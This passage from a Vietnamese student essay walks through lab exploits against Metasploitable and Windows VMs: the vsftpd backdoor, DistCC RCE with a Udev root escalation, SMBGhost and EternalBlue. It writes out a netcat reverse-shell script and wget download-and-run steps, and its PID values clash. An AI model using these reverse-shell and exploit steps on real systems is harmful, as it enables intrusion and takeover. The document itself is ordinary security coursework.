23 | P a g e Câu lệnh: exploit/unix/ftp/vsftpd_234_backdoor để mở mơ-đun tấn cơng
Hình 5.5 mở mơ-đun tấn cơng
Như vậy việc truy cập backdoor đã thành công, backdoor sẽ mở ra 1 shell giúp máy tấn cơng có thể đưa ra các command tới máy mục tiêu như khi dùng trực tiếp terminal trên máy mục tiêu. Và có quyền Root
Hình 5.6 tấn cơng máy meta
2. Leo thang đặc quyền bằng cách khai thác lỗ hổng DistCC và Udev (CVE-2004-2687 và CVE-2009-1185) 2004-2687 và CVE-2009-1185)
24 | P a g e Máy tấn công Máy ảo Kali linux 64bit
Đối tượng Máy ảo Metasploitable
Kịch bản
+Tiến hành rà quét các dịch vụ đang chạy trên máy mục tiêu bằng công cụ legion.
+Sử dụng metasploit framework để khai thác lỗ hổng distcc_exec, tạo thành công reverse shell với tài khoản thường.
+Sử dụng searchsploit để tìm ra exploit phù hợp và tải về máy mục tiêu.
+Chạy file exploit, và mở ra 1 shell khác có quyền hạn root.
Mục tiêu sau tấn cơng Có được quyền truy cập root
Bảng 5. 2 Môi trường và kịch bản lab 2
DistCC là công cụ tăng tốc độ biên dịch mã nguồn bằng cách sử dụng năng lực tính tốn phân tán (Distributed Computing) thơng qua mạng máy tính. Nếu được config chính xác, DistCC có thể giảm thiểu thời gian biên dịch mã nguồn đi một cách đáng kể. Thế nhưng nếu config sai sót có thể bị khai thác, cụ thể trong CVE-2004-2687, DistCC phiên bản 2.x nếu không được config để chặn các truy cập bên ngồi tới server thì có thể bị kẻ tấn cơng khai thác để thực thi bất kì lệnh nào trên server mà không cần phải qua quá trình kiểm tra phân quyền.[6] Trước khi thực hiện leo thang đặc quyền, tiến hành khai thác lỗ hổng trên để tạo reverse shell từ máy nạn nhân về máy tấn công.
Bước 1: Tiến hành rà quét
Legion là 1 tool tổng hợp của các tool như nmap, hydra, nikto, khi sử dụng tool này, danh sách các service chạy trên máy mục tiêu trở nên đầy đủ hơn. Cụ thể ở đây là dịch vụ disccd trên port 3632 đã được quét ra.
25 | P a g e
Hình 5.7 Kết quả scan bằng legion
Bước 2: Sử dụng metasploit framework để khai thác và tạo reverse shell (CVE-2004-2687)
Sử dụng metasploit framework để tiến hành exploit.
Chọn module exploit/unix/misc/distcc_exec và set các option cần thiết như payload cmd/unix/reverse, RHOSTS, LHOST.
Hình 5.8 Set option cho exploit distcc_exect
26 | P a g e
Hình 5.9 Tạo thành cơng reverse shell
Sau khi tạo thành công reverse shell tới máy mục tiêu với tài khoản user thường.
Bước 3: Khai thác lỗ hổng Udev để leo thang đặc quyền (CVE-2009-1185)
Udev phiên bản 1.4.1 trở xuống không kiểm tra nguồn gốc của thông điệp NETLINK có phải đến từ kernel space hay khơng, vì thế nên người dùng cục bộ có thể khai thác để leo thang đặc quyền bằng cách gửi thông điệp NETLINK từ user space. Udev 1.4.1 thường xuất hiện ở các bản Ubuntu 8.10 sử dụng linux kernel 2.6 trở xuống [7], vì vậy đầu tiên cần xác định được phiên bản linux kernel mà hệ thống nạn nhân đang sử dụng. Tiếp tục nhập uname -
a và lsb_release -a vào reverse shell từ máy nạn nhân. Kết quả trả về là máy
27 | P a g e
Hình 5.10 Kiểm tra version Linux và Ubuntu
Mở 1 cửa sổ terminal khác và chạy searchsploit với câu lệnh sau để tìm được exploit phù hợp.
Câu lệnh: searchsploit -s privilege linux kernel Udev 2.6
Hình 5.11 Tìm exploit qua searchsploit
Sử dụng exploit có EDB-ID 8572, copy về thư mục hiện thời bằng searchsploit với options –m
Hình 5.12 Sử dụng option -m để lưu copy exploit về thư mục hiện thời
Mục tiêu là upload file “8572.c” và một file script “run” có chứa netcat reverse shell lên thư mục /tmp của máy nạn nhân. Để làm được điều này thì đầu tiên cần phải tạo file script “run” bằng lệnh nano /var/www/html/run. Nhập vào nội dung là #!/bin/bash nc 192.168.1.111 12345 -e /bin/bash với
28 | P a g e “192.168.1.111” là địa chỉ máy tấn công và “12345” là cổng mà sẽ lắng nghe trên máy tấn công.
Hình 5.13 File "run"
Tiếp đó, quay lại reverse shell với máy mục tiêu và lấy file exploit về máy để tiến hành nâng quyền. Ở bước này, ta sẽ dùng wget và trước đó apache service trên máy tấn cơng phải được bật.
Hình 5.14 Khởi chạy Apache service
Sử dụng lệnh wget để lấy file với câu lệnh:
wget http://192.168.1.111/run wget http://192.168.1.111/8572.c
Hình 5.15 Tải file exploit bằng wget qua webserver
29 | P a g e Sử dụng lệnh gcc để compile code. Câu lệnh: gcc –o out 8572.c
Hình 5.16 Compile code exploit
Khi chạy file “out” thì script “run” sẽ được thực thi và tạo một reverse shell với quyền root về máy tấn cơng có địa chỉ IP, PORT mà chúng ta đã xác định trước đó trong file “run”. Để chạy được file “out” thì phải truyền vào Process ID (PID) của udevd netlink socket. Ta có thể lấy được PID này bằng cách chạy lệnh cat /proc/net/netlink. PID duy nhất có giá trị khác 0 chính là PID mà ta cần tìm kiếm. Có thể xác nhận lại bằng lệnh ps aux | grep udev. PID trong kết quả trả về ở lệnh này sẽ lớn hơn 1 đơn vị so với kết quả của lệnh trên. Trong trường hợp này PID ta cần tìm là 2737.
Hình 5.17 Check PID của netlink
Trước khi khai thác lỗ hổng bằng lệnh ./out 2405 thì ta cần phải khởi tạo 1
30 | P a g e
Hình 5.18 Kết quả nâng quyền thành công
Kiểm tra đặc quyền bằng cách nhập whoami, nếu kết quả trả về là “root” thì ta đã leo thang đặc quyền thành cơng.
3. Khai Thác Lỗi RCE SMBGHOST CVE-2020-0796
Sử dụng lệnh : searchsploit –w SMB để tìm lỗ hổng gây ra lỗi RCE SMBGHOST CVE-2020-0796
31 | P a g e Công cụ sử dụng Nmap
Máy tấn công Máy ảo Kali linux 64bit , Máy thật Win 10 Đối tượng Máy ảo Win 10
Kịch bản
+Tiến hành rà quét các dịch vụ đang chạy trên máy mục tiêu bằng cơng cụ Nmap.
+Sau đó git clone trên máy kali để thêm các file cve-2020-0796-scanner.py . để tiến hành xác định xem máy ảo win 10 có lỗ hổng đó khơng.
+Trên máy thật win 10 tải file CVE-2020-0796- RCE-POC để thực hiện tấn công
+Chạy file SMBleedingGhost.py để thực hiện exploit máy win 10 ảo
Mục tiêu sau tấn công Thực thi tấn công, gây lỗi reset máy , đánh cắp dữ liệu trên máy ảo win 10
Bảng 5. 3 Môi trường và kịch bản lab 3
Bước 1 : Tiến hành rà quét
Nmap là công cụ ra quét các dịch vụ đang mở trên máy bất kì cụ thể ở máy Win dịch vụ trên port TCP/445 được quét ra.
32 | P a g e
Hình 5. 20Rà quét các dịch vụ trên các port
Bước 2:Git clone https://github.com/ButrintKomoni/cve-2020-0796 trên máy kali .
Sau khi git clone thành công sẽ thực thi các câu lệnh python3 cve-2020- 0796-scanner.py 192.168.1.117 để quét máy ảo win 10 xem có lỗ hổng CVE 2020 -0796 hay khơng .
33 | P a g e
Hình 5. 21Quét tìm lỗ hổng
Bước 3 : git clone https://github.com/ZecOps/CVE-2020-0796-RCE-POC trên máy kali để cấu hình file SMBleedingGhost.py . Sau đó thực thi lệnh nc –lvp 4444 trên máy kali để ncat sẽ hiển thị một trình bao cung cấp quyền truy cập hệ thống vào máy tính mục tiêu.
34 | P a g e
35 | P a g e
Hình 5. 23nc –lvp 4444
Bước 4 : Tải file CVE-2020-0796-RCE-POC-master.zip tại
https://github.com/ZecOps/CVE-2020-0796-RCE-POC cho máy thật win 10 Sau khi tải thành công thực thi lệnh “SMBleedingGhost.py 192.168.1.117 192.168.1.111 4444” trên cmd để exploit máy ảo win 10
36 | P a g e
Hình 5. 24Thực thi lệnh trên máy thật win 10
Kết quả đạt được : Máy ảo win 10 bị reset
Hình 5. 25Kết quả đạt được
Cách phòng chống : bằng lệnh PowerShell (run as Administrator) và không cần
khởi động lại:
37 | P a g e Set-ItemProperty -Path
"HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 –Force gpupdate /force
Hoặc có thể tắt port 445 trên máy chủ hay sử dụng firewall để chặn port này nếu không sử dụng.
4.Khai thác lỗi SMB : CVE-2017-0144 (ETERNALBLUE)
SMB: CVE-2017-0144 là là một lỗi của giao thức Server Message Block (viết tắt là SMB). Nó có tên gọi khác là ”Lỗ hổng bảo mật thực thi mã từ xa trên giao thức SMB của hệ điều hành Windows”.
SMB: CVE-2017-0144 được phát hiện lần đầu tiên vào ngày 16/03/2017 trong các máy chủ có giao thức Microsoft Server Message Block 1.0 (SMBv1). SMBv1 được đánh giá là lỗi thời, tuy nhiên vẫn tự động được mặc định kích hoạt trên nhiều máy chủ Windows, khiến đây là đích đến cho các cuộc tấn cơng an ninh mạng
Sự nguy hiểm của SMB: CVE-2017-0144:
Lỗi bảo mật SMB: CVE-2017-0144 vơ cùng nguy hiểm. Khi máy tính dính phải lỗi này, hệ thống máy chủ sẽ gặp phải phần mềm độc hại ransomware, nhờ vào đây các kẻ tấn công sẽ lợi dụng để tống tiền nạn nhân.
Công cụ sử dụng Nmap
Máy tấn công Máy ảo Kali linux 64bit Đối tượng Máy ảo Win 7
Kịch bản
+Tiến hành rà quét các dịch vụ đang chạy trên máy mục tiêu bằng công cụ Nmap.
+Sử dụng search enternalblue để tìm kiếm modules khai thác lỗ hổng
38 | P a g e +Scan xem có lỗ hổng đó khơng
+ Tiến hành exploit lỗ hổng đó
Mục tiêu sau tấn cơng Thực thi tấn công, chiếm quyền admin trên máy nạn nhân
Bảng 5. 4 Môi trường và kịch bản lab 4
Bước 1 : Sử dụng lệnh “Searchsploit –w eternalblue” để tìm kiếm lỗi đó :
Hình 5. 20 : Tìm kiếm lỗ hổng
Bước 2 : Rà quét cổng 445/tcp bằng Nmap
Hình 5.26 Rà quét cổng 445
Bước 3 :Sử dụng metasploit framework để khai thác
Sử dụng lệnh”msfconsole” để mở cơng cụ metasploit framework Tiếp đó sử dụng lệnh “search EternalBlue” để mở các module
39 | P a g e Sử dụng lệnh use 1 để sử dụng module scanner lỗ hổng
Hình 5. 27Scanner lỗ lổng
40 | P a g e
Hình 5. 28 Exploit lỗ hổng
Khai thác lỗ hổng thành công và chiếm được quyền admin
Hình 5.29 Khai thác thành cơng
Từ đó có thể điều khiển máy nạn nhân , khai thác dữ liệu ,….
41 | P a g e
KẾT LUẬN
Qua bài tiểu luận trên, em đã trình bày về các khái niệm tổng quan, đi đến chi tiết cách sử dụng cũng như các bài Lab liên quan tới công cụ Exploitdb. Bài tiểu luận có thể vẫn cịn có nhiều sai sót, mong Thầy và bạn đọc có thể đóng góp ý kiến để bài có thể hồn thiện hơn. Em xin cảm ơn!
42 | P a g e
TÀI LIỆU THAM KHẢO
[1] [Online]. Available: https://www.hackingarticles.in/comprehensive-guide-on- searchsploit/.
[2] [Online]. Available: https://www.geeksforgeeks.org/finding-exploit-offline-using- searchsploit-in-kali-linux.
[3] [Online]. Available: https://www.exploit-db.com.
[4] [Online]. Available: https://cuongquach.com/nmap-la-gi-cong-cu-quet-mang.html. [5] [Online]. Available: https://www.totolink.vn/article/154-giao-thuc-ftp-la-gi-nhung-dieu-
ban-chua-biet-ve-giao-thuc-ftp.html.
[6] [Online]. Available: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004- 2687.